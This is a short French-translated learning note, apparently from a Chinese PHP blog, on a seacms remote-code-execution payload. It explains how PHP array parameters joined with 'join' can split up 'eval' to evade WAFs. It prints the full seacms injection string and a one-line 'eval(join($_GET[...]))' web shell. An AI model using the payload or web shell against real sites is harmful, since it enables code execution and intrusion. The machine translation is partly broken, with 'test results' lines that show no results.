J'ai récemment commencé à apprendre l'audit PHP, et juste à temps pour étudier les seacms, j'ai découvert un point étrange dans la charge utile
searchtype=5&searchword={ if{searchpage:year}&year=:e{searchpage:area} }&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
Je l'ai essayé et j'ai découvert cela lors de la réception de données, par exemple :
Nom de la clé=a, puis en passant a[]=a&a[]=b, a est un tableau, donc nous avons fait un test, et c'était vrai
Test côté serveur code
<?php print_r($_GET[1]); ?>
Les résultats du test sont les suivants
Alors à quoi ça sert un? Après réflexion, s'il y a des outils de protection tels que security dog ou waf sur le serveur, alors en les combinant avec d'autres fonctions PHP, comme la fonction join, l'effet de contournement peut être obtenu
Fournir un idée simple
Code de test du serveur
<?php eval(join($_GET[123])); ?>
Les résultats du test sont les suivants
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!